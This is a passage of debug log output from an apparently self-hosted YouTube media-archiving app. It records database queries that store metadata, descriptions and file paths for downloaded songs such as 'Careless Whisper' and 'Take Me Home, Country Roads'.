= ? RETURNING "id" ["George Michael - Careless Whisper (Official Video)\nPre-order the Careless Whisper EP here: https://georgemichael.lnk.to/40CarelessWhisper\nStream and download here: https://georgemichael.lnk.to/Streaming\nSubscribe to the George Michael YouTube channel: https://georgemichael.lnk.to/YouTubeSubscribe \n\nWATCH FREEDOM! '90 MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube3\nWATCH FASTLOVE MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube4\nWATCH LAST CHRISTMAS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube2\nWATCH AS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube5\n\nFollow George Michael: \nTik Tok - https://www.tiktok.com/@georgemichaelofficial \nInstagram – https://www.instagram.com/georgemofficial/ \nX - https://x.com/GeorgeMOfficial \nFacebook - https://www.facebook.com/georgemichael/\nOfficial website - http://www.georgemichael.com\n\n#GeorgeMichael #CarelessWhisper #GeorgeMichaelOfficial #Wham #GeorgeMichaelOfficialVideo #GeorgeMichaelLive #GeorgeMichaelEssentials #TikTok #Faith #LastChristmas #GeorgeMichaelCarelessWhisper #CarelessWhisperTikTok #GeorgeMichaelTikTok\n\nLyrics\n\nI feel so unsure\nAs I take your hand\nAnd lead you to the dance floor\nAs the music dies\nSomething in your eyes\nCalls to mind a silver screen\nAnd all its sad goodbyes\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTime can never mend\nThe careless whispers of a good friend\nTo the heart and mind\nIgnorance is kind\nThere's no comfort in the truth\nPain is all you'll find\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTonight the music seems so loud\nI wish that we could lose this crowd\nMaybe it's better this way\nWe'd hurt each other with the things we want to say\nWe could have been so good together\nWe could have lived this dance forever\nBut now who's gonna dance with me\nPlease stay\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nNow that you're gone\nNow that you're gone\nNow that you're gone\nWas what I did so wrong\nSo wrong that you had to leave me alone?", "George Michael - Careless Whisper (Official Video)", "b88af152-ba59-4f9d-a496-df8446ab9f5a", false, "izGwDsrQ1eQ", 301, false, "https://www.youtube.com/watch?v=izGwDsrQ1eQ", 6, "/downloads/Classics/Classics/2009-10-25George Michael - Careless Whisper (Official Video)[izGwDsrQ1eQ].m4a", false, false, 2, [], 1, ~U[2009-10-25 21:05:50Z], ~U[2026-07-24 02:20:31Z], ~U[2026-07-24 02:20:31Z], "George Michael - Careless Whisper (Official Video)\nPre-order the Careless Whisper EP here: https://georgemichael.lnk.to/40CarelessWhisper\nStream and download here: https://georgemichael.lnk.to/Streaming\nSubscribe to the George Michael YouTube channel: https://georgemichael.lnk.to/YouTubeSubscribe \n\nWATCH FREEDOM! '90 MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube3\nWATCH FASTLOVE MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube4\nWATCH LAST CHRISTMAS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube2\nWATCH AS MUSIC VIDEO ► https://GeorgeMichael.lnk.to/CompleteCollection/youtube5\n\nFollow George Michael: \nTik Tok - https://www.tiktok.com/@georgemichaelofficial \nInstagram – https://www.instagram.com/georgemofficial/ \nX - https://x.com/GeorgeMOfficial \nFacebook - https://www.facebook.com/georgemichael/\nOfficial website - http://www.georgemichael.com\n\n#GeorgeMichael #CarelessWhisper #GeorgeMichaelOfficial #Wham #GeorgeMichaelOfficialVideo #GeorgeMichaelLive #GeorgeMichaelEssentials #TikTok #Faith #LastChristmas #GeorgeMichaelCarelessWhisper #CarelessWhisperTikTok #GeorgeMichaelTikTok\n\nLyrics\n\nI feel so unsure\nAs I take your hand\nAnd lead you to the dance floor\nAs the music dies\nSomething in your eyes\nCalls to mind a silver screen\nAnd all its sad goodbyes\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTime can never mend\nThe careless whispers of a good friend\nTo the heart and mind\nIgnorance is kind\nThere's no comfort in the truth\nPain is all you'll find\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nTonight the music seems so loud\nI wish that we could lose this crowd\nMaybe it's better this way\nWe'd hurt each other with the things we want to say\nWe could have been so good together\nWe could have lived this dance forever\nBut now who's gonna dance with me\nPlease stay\n\nI'm never gonna dance again\nGuilty feet have got no rhythm\nThough it's easy to pretend\nI know you're not a fool\nI should've known better than to cheat a friend\nAnd waste the chance that I've been given\nSo I'm never gonna dance again\nThe way I danced with you\n\nNow that you're gone\nNow that you're gone\nNow that you're gone\nWas what I did so wrong\nSo wrong that you had to leave me alone?", "George Michael - Careless Whisper (Official Video)", "izGwDsrQ1eQ", 301, false, "https://www.youtube.com/watch?v=izGwDsrQ1eQ", "/downloads/Classics/Classics/2009-10-25George Michael - Careless Whisper (Official Video)[izGwDsrQ1eQ].m4a", false, 2, ~U[2009-10-25 21:05:50Z]] 22:20:31.207 [debug] QUERY OK source="sources" db=0.2ms idle=189.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:31.207 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-06-26 16:41:20Z], 2] 22:20:31.370 [debug] QUERY OK source="media_items" db=162.1ms idle=0.5ms INSERT INTO "media_items" AS m0 ("title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Fly Me To The Moon - Claire", "f3bc3326-9afa-4ef3-91f0-8b9d41202bc9", false, "wNhuXQyyBr8", 273, false, "https://www.youtube.com/watch?v=wNhuXQyyBr8", 7, "/downloads/Classics/Classics/2015-06-26Fly Me To The Moon - Claire[wNhuXQyyBr8].m4a", false, false, 2, [], 1, ~U[2015-06-26 16:41:20Z], ~U[2026-07-24 02:20:31Z], ~U[2026-07-24 02:20:31Z], "", "Fly Me To The Moon - Claire", "wNhuXQyyBr8", 273, false, "https://www.youtube.com/watch?v=wNhuXQyyBr8", "/downloads/Classics/Classics/2015-06-26Fly Me To The Moon - Claire[wNhuXQyyBr8].m4a", false, 2, ~U[2015-06-26 16:41:20Z]] 22:20:31.370 [debug] QUERY OK source="sources" db=0.3ms idle=162.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:31.371 [debug] QUERY OK source="media_items" db=0.2ms idle=0.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-07 16:14:48Z], 2] 22:20:31.536 [debug] QUERY OK source="media_items" db=165.1ms idle=0.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎟️ Bilety na najbliższe koncerty Anime Symphony / Tickets for the next Anime Symphony \nhttps://goingapp.pl/wydarzenie/anime-symphony-kameralnie-gdansk/gdansk-lipiec-2026\n\nWspaniałe wykonanie „Treachery” - jednego z najbardziej ikonicznych utworów ze ścieżki dźwiękowej Bleach, skomponowanego przez Shiro Sagisu w aranżacji Krzysztofa Ratajskiego.\nPotężny Chór Pro Musica Mundi prezentuje wyraziste wykonanie w Filharmonii Narodowej, oddając niezapomniany klimat kojarzony z postacią Sōsuke Aizena.\nUtwór wykonany na żywo podczas Anime Symphony 2024 przez Orkiestrę Symfoniczną im. Karola Namysłowskiego w Zamościu - najstarszą polską orkiestrę symfoniczną.\n\n____________\n\nMarvelous performance of “Treachery”, one of the most iconic soundtracks from Bleach, composed by Shiro Sagisu.\nThe powerful Pro Musica Mundi Choir delivers a striking performance at the Polish National Philharmonic, bringing to life the unforgettable atmosphere associated with Sosuke Aizen.\nPerformed live during Anime Symphony 2024 by the Karol Namysłowski Symphony Orchestra in Zamość - the oldest Polish symphony orchestra.\n\n____________\n\n🤝 Partner: Animecraft (https://animecraft.pl/) – kod rabatowy ANI10 na zakupy / discount code ANI10 for your next purchase\n\n🎼 Wykonanie / Performance:\nTadeusz Wicherek – dyrygent / conductor\nOrkiestra Symfoniczna im. Karola Namysłowskiego w Zamościu / Karol Namysłowski Symphony Orchestra https://www.instagram.com/namyslowiacy/\nPro Musica Mundi / Pro Musica Mundi – chór / choir https://www.instagram.com/pro.musicamundi\n\n____________\n\nWWW: https://www.animesymphony.pl/\nInstagram: https://www.instagram.com/animesymphony_koncert/\nFacebook: https://www.facebook.com/animesymphonykoncert/\nTikTok: https://www.tiktok.com/@animesymphony_koncert", "Treachery (Bleach) – Live Orchestra | Anime Symphony 2024", "bc816624-ed42-4438-ac2b-3f85df8e08e9", false, "3D5lYRLg8JQ", 206, false, "https://www.youtube.com/watch?v=3D5lYRLg8JQ", 8, "/downloads/Classics/Classics/2026-04-07Treachery (Bleach) – Live Orchestra | Anime Symphony 2024[3D5lYRLg8JQ].m4a", false, false, 2, [], 1, ~U[2026-04-07 16:14:48Z], ~U[2026-07-24 02:20:31Z], ~U[2026-07-24 02:20:31Z], "🎟️ Bilety na najbliższe koncerty Anime Symphony / Tickets for the next Anime Symphony \nhttps://goingapp.pl/wydarzenie/anime-symphony-kameralnie-gdansk/gdansk-lipiec-2026\n\nWspaniałe wykonanie „Treachery” - jednego z najbardziej ikonicznych utworów ze ścieżki dźwiękowej Bleach, skomponowanego przez Shiro Sagisu w aranżacji Krzysztofa Ratajskiego.\nPotężny Chór Pro Musica Mundi prezentuje wyraziste wykonanie w Filharmonii Narodowej, oddając niezapomniany klimat kojarzony z postacią Sōsuke Aizena.\nUtwór wykonany na żywo podczas Anime Symphony 2024 przez Orkiestrę Symfoniczną im. Karola Namysłowskiego w Zamościu - najstarszą polską orkiestrę symfoniczną.\n\n____________\n\nMarvelous performance of “Treachery”, one of the most iconic soundtracks from Bleach, composed by Shiro Sagisu.\nThe powerful Pro Musica Mundi Choir delivers a striking performance at the Polish National Philharmonic, bringing to life the unforgettable atmosphere associated with Sosuke Aizen.\nPerformed live during Anime Symphony 2024 by the Karol Namysłowski Symphony Orchestra in Zamość - the oldest Polish symphony orchestra.\n\n____________\n\n🤝 Partner: Animecraft (https://animecraft.pl/) – kod rabatowy ANI10 na zakupy / discount code ANI10 for your next purchase\n\n🎼 Wykonanie / Performance:\nTadeusz Wicherek – dyrygent / conductor\nOrkiestra Symfoniczna im. Karola Namysłowskiego w Zamościu / Karol Namysłowski Symphony Orchestra https://www.instagram.com/namyslowiacy/\nPro Musica Mundi / Pro Musica Mundi – chór / choir https://www.instagram.com/pro.musicamundi\n\n____________\n\nWWW: https://www.animesymphony.pl/\nInstagram: https://www.instagram.com/animesymphony_koncert/\nFacebook: https://www.facebook.com/animesymphonykoncert/\nTikTok: https://www.tiktok.com/@animesymphony_koncert", "Treachery (Bleach) – Live Orchestra | Anime Symphony 2024", "3D5lYRLg8JQ", 206, false, "https://www.youtube.com/watch?v=3D5lYRLg8JQ", "/downloads/Classics/Classics/2026-04-07Treachery (Bleach) – Live Orchestra | Anime Symphony 2024[3D5lYRLg8JQ].m4a", false, 2, ~U[2026-04-07 16:14:48Z]] 22:20:31.537 [debug] QUERY OK source="sources" db=0.2ms idle=165.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:31.537 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-09-24 19:57:57Z], 2] 22:20:31.711 [debug] QUERY OK source="media_items" db=172.5ms idle=0.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by RCA/Legacy\n\nTake Me Home, Country Roads (Original Version) · John Denver\n\nPoems, Prayers and Promises\n\n℗ Originally released 1971. All rights reserved by RCA Records, a division of Sony Music Entertainment\n\nReleased on: 1971-04-06\n\nBackground Vocal: Fat City\nComposer, Vocal, Associated Performer, Guitar, Lyricist: John Denver\nComposer, Background Vocal, Lyricist: Bill Danoff\nBackground Vocal: Taffy Danoff\nGuitar: Mike Taylor\nSteel Guitar, Banjo: Eric Weissberg\nBass: Richard Kniss\nDrums: Gary Chester\nPiano: Frank Owens\nComposer, Lyricist: Taffy Nivert Danoff\nComposer, Lyricist: Mary Danoff\nProducer: Milton Okun\nRecording Engineer: Ray Hall\nAssistant Producer: Jean Kaplow\n\nAuto-generated by YouTube.", "Take Me Home, Country Roads (Original Version)", "bf40cee7-efea-4031-9176-0228947080f7", false, "c0dvabcWVo0", 190, false, "https://www.youtube.com/watch?v=c0dvabcWVo0", 9, "/downloads/Classics/Classics/2015-09-24Take Me Home, Country Roads (Original Version)[c0dvabcWVo0].m4a", false, false, 2, [], 1, ~U[2015-09-24 19:57:57Z], ~U[2026-07-24 02:20:31Z], ~U[2026-07-24 02:20:31Z], "Provided to YouTube by RCA/Legacy\n\nTake Me Home, Country Roads (Original Version) · John Denver\n\nPoems, Prayers and Promises\n\n℗ Originally released 1971. All rights reserved by RCA Records, a division of Sony Music Entertainment\n\nReleased on: 1971-04-06\n\nBackground Vocal: Fat City\nComposer, Vocal, Associated Performer, Guitar, Lyricist: John Denver\nComposer, Background Vocal, Lyricist: Bill Danoff\nBackground Vocal: Taffy Danoff\nGuitar: Mike Taylor\nSteel Guitar, Banjo: Eric Weissberg\nBass: Richard Kniss\nDrums: Gary Chester\nPiano: Frank Owens\nComposer, Lyricist: Taffy Nivert Danoff\nComposer, Lyricist: Mary Danoff\nProducer: Milton Okun\nRecording Engineer: Ray Hall\nAssistant Producer: Jean Kaplow\n\nAuto-generated by YouTube.", "Take Me Home, Country Roads (Original Version)", "c0dvabcWVo0", 190, false, "https://www.youtube.com/watch?v=c0dvabcWVo0", "/downloads/Classics/Classics/2015-09-24Take Me Home, Country Roads (Original Version)[c0dvabcWVo0].m4a", false, 2, ~U[2015-09-24 19:57:57Z]] 22:20:31.712 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=173.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:31.712 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=1.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-04-13 21:03:40Z], 2] 22:20:31.855 [debug] QUERY OK source="media_items" db=141.6ms idle=1.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["I got no idea if I'm the first one to think of this. Surely someone's had to, but I just haven't come across it. At any rate, I whipped this up in an afternoon. It gets a little rough toward the last leg, but I'm not a professional music mixer, so 🤷\u200D♂️\n\nSongs used: 'Dixie' and 'Union Dixie', both performed by Tennessee Ernie Ford", "Dixie Rap Battle", "7cbcc8e5-0b69-487e-a44f-ae9c0ecbcac1", false, "Yk40lQVgVGc", 140, false, "https://www.youtube.com/watch?v=Yk40lQVgVGc", 10, "/downloads/Classics/Classics/2024-04-13Dixie Rap Battle[Yk40lQVgVGc].m4a", false, false, 2, [], 1, ~U[2024-04-13 21:03:40Z], ~U[2026-07-24 02:20:31Z], ~U[2026-07-24 02:20:31Z], "I got no idea if I'm the first one to think of this. Surely someone's had to, but I just haven't come across it. At any rate, I whipped this up in an afternoon. It gets a little rough toward the last leg, but I'm not a professional music mixer, so 🤷\u200D♂️\n\nSongs used: 'Dixie' and 'Union Dixie', both performed by Tennessee Ernie Ford", "Dixie Rap Battle", "Yk40lQVgVGc", 140, false, "https://www.youtube.com/watch?v=Yk40lQVgVGc", "/downloads/Classics/Classics/2024-04-13Dixie Rap Battle[Yk40lQVgVGc].m4a", false, 2, ~U[2024-04-13 21:03:40Z]] 22:20:31.855 [debug] QUERY OK source="sources" db=0.2ms idle=142.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:31.855 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-27 10:00:36Z], 2] 22:20:31.950 [debug] QUERY OK source="media_items" db=94.1ms idle=0.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by Universal Music Group\n\nBones In The Ocean · The Longest Johns\n\nBones In The Ocean\n\n℗ 2013 Universal Music Operations Limited\n\nReleased on: 2013-05-27\n\nRecording Engineer, Mastering Engineer, Mixing Engineer: Aled Jenkins\nProducer: The Longest Johns\nComposer Lyricist, Vocalist: Andrew Yates\nVocalist, Composer Lyricist: Dave Robinson\nVocalist, Composer Lyricist: Jonathan Darley\nVocalist, Composer Lyricist: Joshua Bowker\n\nAuto-generated by YouTube.", "Bones In The Ocean", "6e6e27b0-e772-405c-b8ff-06a6881d1b1f", false, "MivPd9m5NvI", 194, false, "https://www.youtube.com/watch?v=MivPd9m5NvI", 11, "/downloads/Classics/Classics/2025-04-27Bones In The Ocean[MivPd9m5NvI].m4a", false, false, 2, [], 1, ~U[2025-04-27 10:00:36Z], ~U[2026-07-24 02:20:31Z], ~U[2026-07-24 02:20:31Z], "Provided to YouTube by Universal Music Group\n\nBones In The Ocean · The Longest Johns\n\nBones In The Ocean\n\n℗ 2013 Universal Music Operations Limited\n\nReleased on: 2013-05-27\n\nRecording Engineer, Mastering Engineer, Mixing Engineer: Aled Jenkins\nProducer: The Longest Johns\nComposer Lyricist, Vocalist: Andrew Yates\nVocalist, Composer Lyricist: Dave Robinson\nVocalist, Composer Lyricist: Jonathan Darley\nVocalist, Composer Lyricist: Joshua Bowker\n\nAuto-generated by YouTube.", "Bones In The Ocean", "MivPd9m5NvI", 194, false, "https://www.youtube.com/watch?v=MivPd9m5NvI", "/downloads/Classics/Classics/2025-04-27Bones In The Ocean[MivPd9m5NvI].m4a", false, 2, ~U[2025-04-27 10:00:36Z]] 22:20:31.950 [debug] QUERY OK source="sources" db=0.2ms idle=94.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:31.951 [debug] QUERY OK source="media_items" db=0.1ms idle=0.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-07-21 15:05:27Z], 2] 22:20:32.085 [debug] QUERY OK source="media_items" db=133.6ms idle=0.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by KING RECORD CO., LTD.\n\nFrom Beethoven 9 =3EM27= · Shiro SAGISU · PD\n\nShiro SAGISU Music from \"EVANGELION 3.0\"YOU CAN (NOT)REDO.\n\n℗ King Record Co.,Ltd.\n\nReleased on: 2012-11-28\n\nAuto-generated by YouTube.", "From Beethoven 9 =3EM27=", "ea46eb03-934f-4b02-8763-a4cac191577b", false, "2IkX_S22EJA", 181, false, "https://www.youtube.com/watch?v=2IkX_S22EJA", 12, "/downloads/Classics/Classics/2020-07-21From Beethoven 9 =3EM27=[2IkX_S22EJA].m4a", false, false, 2, [], 1, ~U[2020-07-21 15:05:27Z], ~U[2026-07-24 02:20:31Z], ~U[2026-07-24 02:20:31Z], "Provided to YouTube by KING RECORD CO., LTD.\n\nFrom Beethoven 9 =3EM27= · Shiro SAGISU · PD\n\nShiro SAGISU Music from \"EVANGELION 3.0\"YOU CAN (NOT)REDO.\n\n℗ King Record Co.,Ltd.\n\nReleased on: 2012-11-28\n\nAuto-generated by YouTube.", "From Beethoven 9 =3EM27=", "2IkX_S22EJA", 181, false, "https://www.youtube.com/watch?v=2IkX_S22EJA", "/downloads/Classics/Classics/2020-07-21From Beethoven 9 =3EM27=[2IkX_S22EJA].m4a", false, 2, ~U[2020-07-21 15:05:27Z]] 22:20:32.086 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=134.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:20:32.086 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-11 22:18:30Z], 2] 22:20:32.221 [debug] QUERY OK source="media_items" db=134.7ms idle=0.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Learn a simple way to start the F-16 Fighter Jet. This shows the simplest way to start the F-16 if you're in a rush this is not the recommended way. This is for educational purposes only and is not intended to be replicated. Happy Flying!\n\nBully in the Alley Remix", "How to Start an F-16 (Bully in the Alley Remix)", "00b39e91-d257-4567-b894-76ff71d6f72e", false, "gotB5q-uqLk", 116, false, "https://www.youtube.com/watch?v=gotB5q-uqLk", 13, "/downloads/Classics/Classics/2025-09-11How to Start an F-16 (Bully in the Alley Remix)[gotB5q-uqLk].m4a", false, false, 2, [], 1, ~U[2025-09-11 22:18:30Z], ~U[2026-07-24 02:20:32Z], ~U[2026-07-24 02:20:32Z], "Learn a simple way to start the F-16 Fighter Jet. This shows the simplest way to start the F-16 if you're in a rush this is not the recommended way. This is for educational purposes only and is not intended to be replicated. Happy Flying!\n\nBully in the Alley Remix", "How to Start an F-16 (Bully in the Alley Remix)", "gotB5q-uqLk", 116, false, "https://www.youtube.com/watch?v=gotB5q-uqLk", "/downloads/Classics/Classics/2025-09-11How to Start an F-16 (Bully in the Alley 